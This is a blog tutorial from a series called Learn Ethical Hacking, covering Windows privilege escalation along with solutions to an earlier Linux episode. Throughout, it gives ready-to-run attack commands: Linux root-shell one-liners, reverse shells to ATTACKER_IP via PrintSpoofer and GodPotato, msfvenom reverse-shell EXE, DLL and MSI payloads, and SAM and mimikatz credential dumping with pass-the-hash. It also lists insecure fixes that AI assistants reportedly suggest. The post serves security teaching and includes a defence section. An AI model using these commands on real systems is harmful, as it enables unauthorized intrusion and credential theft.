Learn Ethical Hacking (#32) - Privilege Escalation - Windows

in StemSocial7 hours ago

Learn Ethical Hacking (#32) - Privilege Escalation - Windows

leh-banner.jpg

What will I learn

  • Windows privilege model -- local accounts, service accounts, SYSTEM, and the difference between Administrator and SYSTEM;
  • Token impersonation -- stealing and using tokens from higher-privileged processes with tools like PrintSpoofer and GodPotato;
  • Unquoted service paths -- exploiting how Windows resolves spaces in service binary paths;
  • Weak service permissions -- replacing or reconfiguring service binaries to run your payload;
  • AlwaysInstallElevated -- abusing Group Policy that lets any user install MSI packages as SYSTEM;
  • DLL hijacking -- placing malicious DLLs where privileged applications will load them;
  • Credential harvesting -- extracting passwords from registry, SAM, memory, and stored credentials;
  • Building a systematic Windows enumeration methodology;
  • Defense: patching, least privilege, service hardening, credential guard.

Requirements

  • A working modern computer running macOS, Windows or Ubuntu;
  • Your hacking lab from Episode 2 (Windows target VM);
  • Basic Windows command-line skills (cmd and PowerShell);
  • The ambition to learn ethical hacking and security research.

Difficulty

  • Intermediate

Curriculum (of the Learn Ethical Hacking series):

Solutions to Episode 31 Exercises

Exercise 1: Three paths to root on your deliberately misconfigured VM.

# Path 1: SUID python3
$ whoami
www-data
$ /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","b","-p")'
# whoami
root

# Path 2: World-writable cron script
$ echo '#!/bin/bash' > /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
$ # Wait 60 seconds for cron...
$ /tmp/rootbash -p
# whoami
root

# Path 3: sudo find NOPASSWD
$ sudo find /tmp -exec /bin/bash \; -quit
# whoami
root

Each path exploits a different misconfiguration: SUID bit on an interpreter, world-writable root cron script, and overly permissive sudoers entry. In a real engagement you would use whichever is least likely to trigger alerts -- sudo is the cleanest because it leaves legitimate-looking logs.

Exercise 2: LinPEAS comparison summary.

LinPEAS additional findings vs manual script:
- Writable PATH directories
- Readable /etc/shadow (manual checks permissions but not readability)
- NFS shares with no_root_squash
- Internal services on localhost-only ports
- .bash_history contents with passwords
- Writable systemd timer/service files
- AppArmor/SELinux status

False positives:
- Flagged standard SUID binaries (passwd, mount) as interesting
- Marked kernel version as "vulnerable" when patches were backported
- Flagged docker.sock access when docker was not installed

LinPEAS correctly flagged: SUID python3, writable cron script,
sudo find NOPASSWD, docker group membership (if configured),
kernel CVEs, capabilities.

The key takeaway: LinPEAS is thorough but noisy. Your manual script is focused but misses edge cases. In practice you run both -- the manual script first (fast, quiet, you understand every line) and LinPEAS second (comprehensive, catches things you forgot to check).

Exercise 3: Dirty Pipe analysis (abbreviated).

CVE-2022-0847 -- Dirty Pipe

MECHANISM: When splicing data into a pipe, the PIPE_BUF_FLAG_CAN_MERGE
flag is not cleared on newly allocated pipe buffers. An attacker can:
1. Fill a pipe to fill all buffer slots
2. Drain the pipe (buffers remain allocated with CAN_MERGE set)
3. splice() a target file into the pipe (buffer now references file page)
4. Write to pipe -- kernel merges write into the FILE PAGE due to
   CAN_MERGE flag still being set

RESULT: Arbitrary overwrite of any file readable by the attacker,
including read-only files, SUID binaries, /etc/passwd.

LIMITATIONS: Cannot extend files (only overwrite existing bytes),
cannot overwrite beyond page boundaries, cannot target files
the attacker cannot open for reading.

FIX: Kernel commit f2b4b2c (Linux 5.16.11) -- clears
PIPE_BUF_FLAG_CAN_MERGE in copy_page_to_iter_pipe().

Beautiful exploit, genuinely elegant in its simplicity. The bug sat in the kernel since version 5.8 (2020) and nobody noticed for two years. One flag that should have been cleared but wasn't -- and the entire file permission model collapsed.


Learn Ethical Hacking (#32) - Privilege Escalation - Windows

Last episode we tore apart Linux privilege escalation. Sudo misconfigs, SUID binaries, cron jobs, capabilities, kernel exploits, docker groups -- six techniques that cover the vast majority of real-world Linux privesc scenarios. The methodology was always the same: enumerate first, exploit second. Understand the system better than the person who configured it.

Now we cross over to Windows. And everything changes.

The privilege model is more complex. The attack surface is wider. The tools are completely different. Where Linux has a clean UID-based model (UID 0 is root, done), Windows has a layered system of access tokens, security identifiers, user account control prompts, service accounts, group policies, and a registry that holds secrets in places most administrators have never even looked. Having said that, the core methodology stays the same. Enumerate everything. Find the misconfiguration. Exploit it. The specific techniques are different but the thinking is identical.

If you have been following this series from the start (and I know quite some of you have, which is awesome), you'll remember that episodes 29 and 30 gave us network access -- sniffing traffic, spoofing ARP tables, cracking wifi. Episode 31 showed us how to go from a low-privilege Linux shell to root. This episode does the same for Windows. Together, these form the complete post-exploitation toolkit: network access, Linux privesc, Windows privesc. Three legs of the same stool.

The Windows Privilege Model

Windows has a layered privilege model that is fundamentally different from Linux's simple UID system. You need to understand these layers before you can attack them:

  • Standard User -- can run applications, access own files, no system modifications
  • Administrator -- member of the local Administrators group, can elevate via UAC
  • SYSTEM (NT AUTHORITY\SYSTEM) -- the highest privilege level on a local machine. More powerful than Administrator. This is what services run as. This is your target.
  • Service Accounts -- accounts like NT AUTHORITY\NETWORK SERVICE or NT AUTHORITY\LOCAL SERVICE that services run under with reduced privileges

The key insight that trips up a lot of people coming from Linux: Administrator is NOT the same as SYSTEM. On Linux, root is root -- UID 0 can do anything. On Windows, an Administrator account still runs with a filtered token by default (thanks to UAC). The user has to explicitly approve elevation through that familiar "Do you want to allow this app to make changes?" dialog. SYSTEM bypasses UAC entirely. SYSTEM can access any file, any registry key, any process. In a pentest, SYSTEM is the equivalent of root.

There is also a subtlety with UAC (User Account Control) that matters for privesc. Even when you compromise an Administrator account, your shell might be running with the filtered (non-elevated) token. You can SEE that you're an Administrator in net localgroup Administrators, but you still can't write to C:\Windows or access other users' files. You need to bypass or elevate through UAC to get the full Administrator token -- or skip all of that and go straight to SYSTEM.

# Who am I?
whoami
whoami /priv
whoami /groups

# What system is this?
systeminfo
hostname

# What users exist?
net user
net localgroup Administrators

# Am I in any interesting groups?
whoami /groups | findstr /i "admin\|remote\|backup\|hyper"

That whoami /priv command is your first stop on every Windows box. The privileges listed there determine which escalation techniques are available to you. If you see SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you're already halfway to SYSTEM (we'll get to that shortly). If you see SeBackupPrivilege, you can read any file on the system. If you see SeDebugPrivilege, you can inject code into any process. The privilege list is the menu of what's possible ;-)

The Enumeration Phase

Same as Linux: enumerate before you exploit. Here is the Windows equivalent of our checklist from last episode:

# System information and patch level
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"

# Current privileges (CRITICAL -- this dictates your options)
whoami /priv

# Running services
wmic service list brief
sc query state=all

# Scheduled tasks (Windows equivalent of cron)
schtasks /query /fo LIST /v

# Unquoted service paths (common quick win)
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """

# Installed software (version numbers = potential exploits)
wmic product get name,version

# Network connections (what's listening, who's talking to whom)
netstat -ano

# Search for passwords in files
findstr /si "password" *.txt *.ini *.config *.xml

# Registry keys that commonly store passwords
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
reg query "HKCU\Software\ORL\WinVNC3\Password" 2>nul

# AlwaysInstallElevated check (instant SYSTEM if both are 0x1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2>nul

Every single one of these commands is doing reconnaissance. The systeminfo output tells you the OS version and patch level -- which tells you which kernel exploits are possible. The whoami /priv output tells you which token-based attacks are available. The wmic service output reveals unquoted paths and writable service binaries. The schtasks output shows you what runs automatically and when.

I want to emphasize the AlwaysInstallElevated check at the bottom. If both registry keys return 0x1, you can get SYSTEM in about 30 seconds. It is one of the fastest Windows privesc paths that exists, and I am continuously surprised by how often I still find it enabled on corporate machines. We'll come back to this.

Technique 1: Token Impersonation and the Potato Family

Windows uses access tokens to track the security context of every running process. Every process has a token. That token determines what the process can access. Service accounts that have the SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege can impersonate other users' tokens -- including SYSTEM.

# Check current privileges
whoami /priv

# Look for these specific lines:
# SeImpersonatePrivilege    Impersonate a client after authentication    Enabled
# SeAssignPrimaryTokenPrivilege  Replace a process level token           Enabled

If you have SeImpersonatePrivilege (which is common for service accounts like iis apppool\defaultapppool, nt authority\network service, and SQL Server service accounts), you can use potato attacks to escalate to SYSTEM. The name "potato" comes from the original Hot Potato exploit, and the family has been growing ever since:

Hot Potato (2016) -> Rotten Potato (2016) -> Juicy Potato (2018)
-> RoguePotato (2020) -> PrintSpoofer (2020) -> GodPotato (2022)
-> SweetPotato (2023)

Each generation bypasses whatever defenses Microsoft added against the previous one. The underlying concept is the same across all of them: they abuse the way Windows handles COM object activation, named pipes, or RPC to trick a SYSTEM-level process into authenticating to you. Once it authenticates, you capture its token and impersonate it. The technical details vary (and some of them are genuinely clever pieces of engineering) but the practical result is always the same: SeImpersonatePrivilege + potato = SYSTEM.

PrintSpoofer is the current go-to for modern Windows systems (Server 2016/2019, Windows 10):

# PrintSpoofer abuses the Windows print spooler named pipe
# Download from: https://github.com/itm4n/PrintSpoofer

# Get an interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd
# whoami -> nt authority\system

# Or launch a reverse shell as SYSTEM
PrintSpoofer.exe -c "c:\temp\nc.exe ATTACKER_IP 4444 -e cmd"

GodPotato works on even more recent Windows versions where PrintSpoofer has been patched:

# GodPotato works on Windows Server 2022 and Windows 11
GodPotato.exe -cmd "cmd /c whoami"
# nt authority\system

# Reverse shell variant
GodPotato.exe -cmd "cmd /c c:\temp\nc.exe ATTACKER_IP 4444 -e cmd"

The reason this entire class of attacks keeps coming back is that SeImpersonatePrivilege is fundamentally necessary for how Windows services work. IIS needs it to impersonate the authenticated user. SQL Server needs it for integrated authentication. You can't just remove the privilege without breaking the services that depend on it. Microsoft has to patch each specific exploitation technique (Hot Potato's NBNS poisoning, Juicy Potato's COM activation, PrintSpoofer's named pipe abuse) while the underlying primitive -- "I can impersonate any token that authenticates to me" -- remains intact.

I've used PrintSpoofer on probably a dozen real engagements. The typical scenario: you exploit a web application running on IIS (using techniques from episodes 12-20), get a shell as iis apppool\defaultapppool, check whoami /priv, see SeImpersonatePrivilege, run PrintSpoofer, done. Web shell to SYSTEM in under two minutes. The speed at which this chain completes is honestly a bit alarming ;-)

Technique 2: Unquoted Service Paths

This vulnerability is almost embarrasingly simple. When a Windows service has a binary path that contains spaces and is NOT wrapped in quotes, Windows resolves the path ambiguously.

Given a service with path:

C:\Program Files\Vulnerable App\Service Binary\app.exe

Windows will try to execute, in order:

C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable App\Service.exe
C:\Program Files\Vulnerable App\Service Binary\app.exe

It tries each path by splitting at spaces and appending .exe. The first one that exists wins. If you can write to C:\ or to C:\Program Files\Vulnerable App\, you place a payload at one of those intermediate paths and it runs as the service account (often SYSTEM) on the next service restart.

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows" | findstr /i /v """

# Check write permissions on the path
icacls "C:\Program Files\Vulnerable App\"
# Look for (M) Modify or (F) Full Control for your user or group

# If writable, generate a reverse shell payload
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o Service.exe

# Place it in the unquoted path
copy Service.exe "C:\Program Files\Vulnerable App\Service.exe"

# Restart the service (if you have permission) or wait for reboot
sc stop VulnerableService
sc start VulnerableService

The fix is literally two quote characters. Change the service path from C:\Program Files\Vulnerable App\app.exe to "C:\Program Files\Vulnerable App\app.exe". That's it. Two characters. And yet this vulnerability is EVERYWHERE. Many third-party application installers create services with unquoted paths. Enterprise software from major vendors. Antivirus products. Monitoring agents. Printer drivers. The kind of software that runs as SYSTEM on every machine in the organization.

A part from the direct exploitation, unquoted service paths are also a fantastic finding for pentest reports because they're easy to explain to non-technical stakeholders. "This service runs with the highest system privileges. The path to the program has a typo -- it's missing quotation marks. This means an attacker can trick the system into running a malicious program instead of the real one." Management understands that. Try explaining SeImpersonatePrivilege and COM activation in a boardroom.

Technique 3: Weak Service Permissions

Services on Windows are configured through the Service Control Manager (SCM). Each service has a security descriptor that controls who can start it, stop it, query it, and -- critically -- change its configuration. If you can modify a service's binary path or replace its executable, you can hijack the service:

# Check service permissions with accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

# Look for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS

# If you can change the binary path:
sc config VulnerableService binpath= "C:\temp\payload.exe"
sc stop VulnerableService
sc start VulnerableService
# Your payload now runs as the service account

# If you can replace the binary itself:
sc stop VulnerableService
move "C:\path\to\original.exe" "C:\path\to\original.exe.bak"
copy C:\temp\payload.exe "C:\path\to\original.exe"
sc start VulnerableService

Note the space after binpath= -- this is not a typo, it's how sc config parses its arguments. Miss that space and the command silently fails. I've watched people debug this for 15 minutes before figuring it out. The Windows command line has... quirks.

Another angle: writable service directories. Even if the service binary itself is locked down (correct permissions, signed, etc.), if the DIRECTORY containing the binary is writable by your user, you can perform a DLL hijacking attack from the next technique, or in some cases rename the original binary and drop your own in its place.

The accesschk.exe tool from Sysinternals is indispensable for this. It checks the actual DACL (Discretionary Access Control List) on the service object, not just the file permissions. A service might have a locked-down binary file but a permissive service DACL that lets Authenticated Users change its configuration. The file permissions and the service permissions are two separate access control mechanisms and they need to BOTH be correct.

Technique 4: DLL Hijacking

Windows applications load DLLs (Dynamic Link Libraries) using a specific search order. If you can place a malicious DLL in a directory that Windows searches BEFORE the legitimate one, your code runs instead of (or alongside) the real DLL. And if the application runs as SYSTEM -- which services often do -- your code runs as SYSTEM.

The DLL search order (simplified, for applications that don't use SafeDllSearchMode):

  1. The directory the application was loaded from
  2. The system directory (C:\Windows\System32)
  3. The 16-bit system directory (C:\Windows\System)
  4. The Windows directory (C:\Windows)
  5. The current working directory
  6. Directories listed in the PATH environment variable
# Find DLLs that applications fail to load (using Process Monitor)
# Filter in ProcMon: Result = NAME NOT FOUND, Path ends with .dll
# This reveals "phantom" DLLs -- DLLs the application TRIES to load
# but can't find. If you provide them, the application loads YOUR DLL.

# Generate a malicious DLL
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 \
    -f dll -o missing.dll

# Place it where the application will find it
copy missing.dll "C:\Program Files\VulnerableApp\missing.dll"

# Wait for the application to restart (or trigger a service restart)

Process Monitor (ProcMon, another Sysinternals tool) is the key to finding DLL hijacking opportunities. Set these filters: Operation is CreateFile, Result is NAME NOT FOUND, Path ends with .dll. Then start or restart the target service. ProcMon shows you every DLL the service tried to load but couldn't find. Each missing DLL is a potential hijacking opportunity -- IF the directory it searched is writable by your user.

A real-world example I keep seeing: many services try to load wlbsctrl.dll (Windows Load Balancing Service Control) from the application directory before falling back to System32. The application directory for third-party software is often writable by regular users (bad installer defaults). Drop your payload as wlbsctrl.dll and wait for the service to restart. SYSTEM shell.

DLL hijacking is particularly nasty because it's stealthy. Unlike changing a service's binary path (which leaves an audit trail in the SCM), dropping a DLL into a directory creates a file -- and file creation in application directories is normal behaviour. The service starts correctly (the real DLL is still in System32), your payload runs AS WELL, and unless someone is specifically monitoring for unexpected DLLs in application directories, nobody notices.

Having said that, there is a significant complication: DLL proxying. If you simply replace a DLL, the application might crash because it can't find the functions it expects. The clean approach is to create a proxy DLL that exports all the same functions as the original (forwarding calls to the real DLL) and also runs your payload. Tools like DLL Sideloading Helper or SharpDLLProxy automate this process. It adds complexity but makes the attack much more reliable.

Technique 5: AlwaysInstallElevated

This is the Group Policy equivalent of leaving the keys in the ignition. If the AlwaysInstallElevated policy is set to 1 in BOTH the HKLM (machine) and HKCU (user) registry hives, ANY user can install MSI packages with SYSTEM privileges:

# Check both registry locations (both must be 0x1 for this to work)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# If both return 0x1 -- instant SYSTEM:

# Generate malicious MSI with msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 \
    -f msi -o evil.msi

# Install silently as SYSTEM
msiexec /quiet /qn /i evil.msi

That is a SYSTEM shell in two commands. Generate the MSI, run msiexec. Done. No vulnerability in any specific software. No exploit code. No kernel bugs. Just a Group Policy setting that an administrator enabled (often to "allow helpdesk staff to install software remotely" or "make it easier for users to install approved applications") without understanding that it gives EVERY user on the machine the ability to install arbitrary code as SYSTEM.

I've found this enabled in corporate environments more often than you'd think. The conversation usually goes: "We set AlwaysInstallElevated because our deployment tool requires it." And then you explain that their deployment tool just gave every standard user on every machine in the domain the ability to become SYSTEM with a 2-line attack, and there's a brief silence followed by "...we should probably change that."

Technique 6: Credential Harvesting

Windows stores credentials in more places than most people realize. Each one is a potential escalation path -- not because the credentials give you SYSTEM directly, but because they might give you access to an account that HAS more privileges:

# SAM database (requires SYSTEM or offline access)
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
# Offline extraction with secretsdump.py or mimikatz

# Saved credentials (cmdkey)
cmdkey /list
# If any stored credentials exist:
runas /savecred /user:Administrator cmd.exe
# Uses the saved credential without prompting for password!

# WiFi passwords (stored in the clear on connected networks)
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear

# Unattend/sysprep files (often contain admin passwords in base64)
dir /s /b C:\*unattend*.xml C:\*sysprep*.xml 2>nul
type C:\Windows\Panther\Unattend.xml

# PowerShell history (people type passwords into terminals)
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# IIS web.config (database connection strings with credentials)
dir /s /b C:\inetpub\*.config 2>nul
type C:\inetpub\wwwroot\web.config

# Search the registry for "password" entries
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul

The runas /savecred trick is one of my favourites. Windows has a credential manager (visible in Control Panel or via cmdkey /list) that stores credentials for network resources, remote desktop connections, and applications. If an Administrator ever ran something with runas /savecred /user:Administrator command, those credentials are stored. Any user can then use runas /savecred /user:Administrator cmd.exe and get an Administrator shell WITHOUT being prompted for a password. The credential manager just hands over the stored password. It is designed this way. On purpose.

The Unattend.xml angle is also surprisingly productive. When Windows is deployed through automated provisioning (SCCM, MDT, WDS), the deployment answer file often contains the local administrator password -- sometimes in plaintext, sometimes base64-encoded (which is NOT encryption, just encoding). These files persist in C:\Windows\Panther\ and C:\Windows\System32\Sysprep\ after deployment. Nobody cleans them up. I have extracted local admin passwords from Unattend.xml files on production servers that were deployed years ago.

Mimikatz -- The Swiss Army Knife of Windows Post-Exploitation

Mimikatz deserves its own section because it is, without exaggeration, the single most important Windows post-exploitation tool ever created. Benjamin Delpy wrote it to demonstrate weaknesses in Windows credential storage, and it became the standard tool for extracting passwords, hashes, PIN codes, and Kerberos tickets from memory.

# Run mimikatz (requires admin/SYSTEM for most modules)
mimikatz.exe

# Enable debug privilege (required for accessing LSASS)
privilege::debug

# Dump ALL credentials from LSASS process memory
sekurlsa::logonpasswords

# Dump SAM hashes (local accounts)
lsadump::sam

# Dump cached domain credentials
lsadump::cache

# Export all Kerberos tickets
sekurlsa::tickets /export

# Pass-the-hash (use NTLM hash without knowing plaintext password)
sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd.exe

The sekurlsa::logonpasswords command is legendary. On systems without Credential Guard, it dumps the plaintext password (or NTLM hash) for EVERY user who has logged in since the last reboot. One command, every credential. Every interactive logon, every service account, every RDP session. The LSASS (Local Security Authority Subsystem Service) process keeps these credentials in memory for single sign-on functionality, and mimikatz reads them directly from the process memory.

This is exactly what we covered in episode 7 (passwords) applied to post-exploitation. The passwords aren't stored insecurely by accident -- Windows NEEDS them in memory for Kerberos ticket renewal, NTLM authentication, and other single sign-on features. The design decision to keep plaintext credentials in memory was a usability choice that has been exploited by every Windows attacker since mimikatz was released in 2011.

Credential Guard (Windows 10 Enterprise / Server 2016+) was Microsoft's response. It uses virtualization-based security to isolate LSASS in a protected container that even kernel-level code can't read. With Credential Guard enabled, sekurlsa::logonpasswords returns nothing useful. The problem: many organizations still haven't enabled it. Either they don't have the Enterprise edition, or they're running legacy applications that are incompatible, or (most commonly) nobody on the IT team knows it exists.

Automated Enumeration: WinPEAS

Just as LinPEAS automates Linux enumeration, WinPEAS does the same for Windows:

# Download and run WinPEAS
# https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

winPEASany.exe quiet fast searchfast

# Color-coded output:
# RED/YELLOW -- high-priority findings (likely exploitable)
# GREEN -- interesting but may not be directly exploitable
# WHITE -- informational

WinPEAS checks for everything we've covered in this episode plus dozens more techniques: registry autoruns, writable scheduled tasks, stored credentials, unpatched vulnerabilities, writable PATH directories, Windows Subsystem for Linux misconfigs, and more. It is comprehensive and well-maintained.

But the same caveat applies as with LinPEAS in the previous episode: understand what WinPEAS checks before relying on it. Running it blindly and copy-pasting the red items into an exploit without understanding WHY they're flagged is how you crash production systems and ruin pentests. The enumeration script we built above covers the fundamentals. WinPEAS extends it dramatically. Use both.

Defense: Hardening Windows Against Privilege Escalation

# 1. Find and fix ALL unquoted service paths
Get-WmiObject win32_service | Where-Object {
    $_.PathName -notmatch '^\s*"' -and
    $_.PathName -match '\s'
} | ForEach-Object {
    Write-Host "UNQUOTED: $($_.Name) -> $($_.PathName)"
}
# Fix each one: sc config ServiceName binpath= '"C:\Full Path\service.exe"'

# 2. Remove SeImpersonatePrivilege from accounts that don't need it
# Use secpol.msc -> Local Policies -> User Rights Assignment
# -> "Impersonate a client after authentication"
# Remove all accounts except SERVICE, LOCAL SERVICE, NETWORK SERVICE, IIS_IUSRS

# 3. Disable AlwaysInstallElevated
reg delete HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f
reg delete HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /f

# 4. Enable Credential Guard (Windows 10 Enterprise / Server 2016+)
# Prevents mimikatz from dumping plaintext passwords from LSASS

# 5. Restrict service permissions -- audit service DACLs
sc sdshow VulnerableService
# Use sc sdset to restrict who can modify the service

# 6. Patch regularly -- kernel and service vulnerabilities
# Windows Update, WSUS, or SCCM for managed deployments

# 7. Deploy LAPS (Local Administrator Password Solution)
# Randomizes local admin passwords per machine
# Prevents credential reuse across the domain

# 8. Audit privileged access with Seatbelt
# https://github.com/GhostPack/Seatbelt
Seatbelt.exe -group=all

LAPS deserves special mention. Without it, most organizations use the same local administrator password on every machine in the domain (set during initial deployment and never changed). Compromise one machine, extract the local admin hash with mimikatz, and you can authenticate to every machine in the environment. LAPS randomizes the local admin password per machine and stores it in Active Directory. It is free, it is Microsoft-supported, and it eliminates an entire class of lateral movement attacks. The number of organizations that still don't deploy it is... well, it keeps pentesters employed.

The AI Slop Connection

Windows is even more susceptible to AI-generated misconfigurations than Linux (and we covered the Linux side in episode 31). AI assistants routinely suggest:

  • Running services as SYSTEM when LOCAL SERVICE would suffice
  • Disabling UAC entirely to "fix permission errors"
  • Setting AlwaysInstallElevated because "users need to install software"
  • Granting Full Control ACLs to Everyone or Authenticated Users to "resolve access denied"
  • Disabling Windows Defender or Credential Guard "for performance"
  • Using net localgroup administrators USERNAME /add as the first troubleshooting step for any permission problem

Each of these "fixes" creates a privilege escalation vector. The AI generates the path of least resistance, and on Windows the path of least resistance is almost always "give it more privileges." A developer asks "why can't my service access this folder?" and the AI says "run it as SYSTEM." That developer just turned a service account compromise into full system compromise. The pattern from episode 6 repeats itself across every platform and every operating system.

Linux vs Windows: A Quick Comparison

Now that we've covered privesc on both operating systems, here's how they compare:

CONCEPT              | LINUX                    | WINDOWS
--------------------------------------------------------------------
God account          | root (UID 0)             | NT AUTHORITY\SYSTEM
Elevation mechanism  | sudo                     | UAC / Run As
Service accounts     | www-data, daemon, etc    | Network Service, Local Service
Scheduled execution  | cron / systemd timers    | Task Scheduler
Binary permissions   | SUID/SGID bits           | Service DACLs + file ACLs
Config files         | /etc/* (text files)       | Registry + XML configs
Kernel exploits      | Dirty COW, Dirty Pipe    | PrintNightmare, HiveNightmare
Automated enum       | LinPEAS                  | WinPEAS
Credential storage   | /etc/shadow (hashed)     | SAM + LSASS (in memory!)
Post-exploit tool    | GTFOBins                 | mimikatz

The biggest difference (a part from the tooling) is WHERE credentials live. Linux stores password hashes in /etc/shadow -- a file readable only by root. If you can read that file, you already have root or a path to it. Windows stores credentials in multiple places simultaneously: the SAM database (local accounts), LSASS process memory (everyone who logged in), the credential manager (saved passwords), cached domain credentials, Kerberos tickets. The attack surface for credential theft on Windows is dramatically larger than on Linux. This is why mimikatz exists and why it's so effective -- there are just SO many places to find credentials on a Windows system.

The Bigger Picture

With episodes 31 and 32 complete, you now have the methodology to escalate privileges on both major operating systems. The web application attacks from episodes 1-28 got you a foothold. The network attacks from episodes 29-30 gave you access to internal systems. Privilege escalation turns that initial access into full system control.

The next phase of this series moves beyond individual machines. Once you have SYSTEM on a Windows box that's joined to a domain, the entire domain infrastructure becomes your target. Domain controllers, group policies, Kerberos tickets, trust relationships between forests -- the scope expands dramatically. The techniques scale from "I own one machine" to "I own the entire organization." That escalation -- from local admin to domain admin to enterprise admin -- is where Windows pentesting gets really interesting and where tools like mimikatz's Golden Ticket and Silver Ticket attacks come into play.

But that's for upcomming episodes. For now, make sure you're comfortable with all six techniques from today: token impersonation, unquoted service paths, weak service permissions, DLL hijacking, AlwaysInstallElevated, and credential harvesting. Each one is a complete privesc path on its own. Together they cover the vast majority of real-world Windows privilege escalation scenarios.

Exercises

Exercise 1: Set up a Windows 10 VM with: (a) a service with an unquoted path containing spaces, (b) AlwaysInstallElevated enabled in both HKLM and HKCU, (c) a service running as SYSTEM whose binary directory is writable by your user. Exploit each misconfiguration to get a SYSTEM shell. Document all three escalation paths with screenshots of whoami before and after.

Exercise 2: Run WinPEAS on your lab VM. Compare its output against the manual enumeration commands from this episode. Document: (a) the top 5 most useful findings WinPEAS reports, (b) which findings would lead to immediate SYSTEM access, (c) which findings are informational but not directly exploitable. Save to ~/lab-notes/winpeas-analysis.md.

Exercise 3: Research PrintSpoofer (https://github.com/itm4n/PrintSpoofer). Set up a scenario where you have a shell as iis apppool\defaultapppool (use a vulnerable web app on IIS). Verify that SeImpersonatePrivilege is available with whoami /priv. Use PrintSpoofer to escalate to SYSTEM. Document: how PrintSpoofer abuses the print spooler named pipe, why SeImpersonatePrivilege is required, and what the difference is between PrintSpoofer and the older JuicyPotato. Save to ~/lab-notes/printspoofer-analysis.md.

Thanks for reading!

@scipio

Sort:  

Congratulations @scipio! You have completed the following achievement on the Hive blockchain And have been rewarded with New badge(s)

You received more than 5000 HP as payout for your posts, comments and curation.
Your next payout target is 6000 HP.
The unit is Hive Power equivalent because post and comment rewards can be split into HP and HBD

You can view your badges on your board and compare yourself to others in the Ranking
If you no longer want to receive notifications, reply to this comment with the word STOP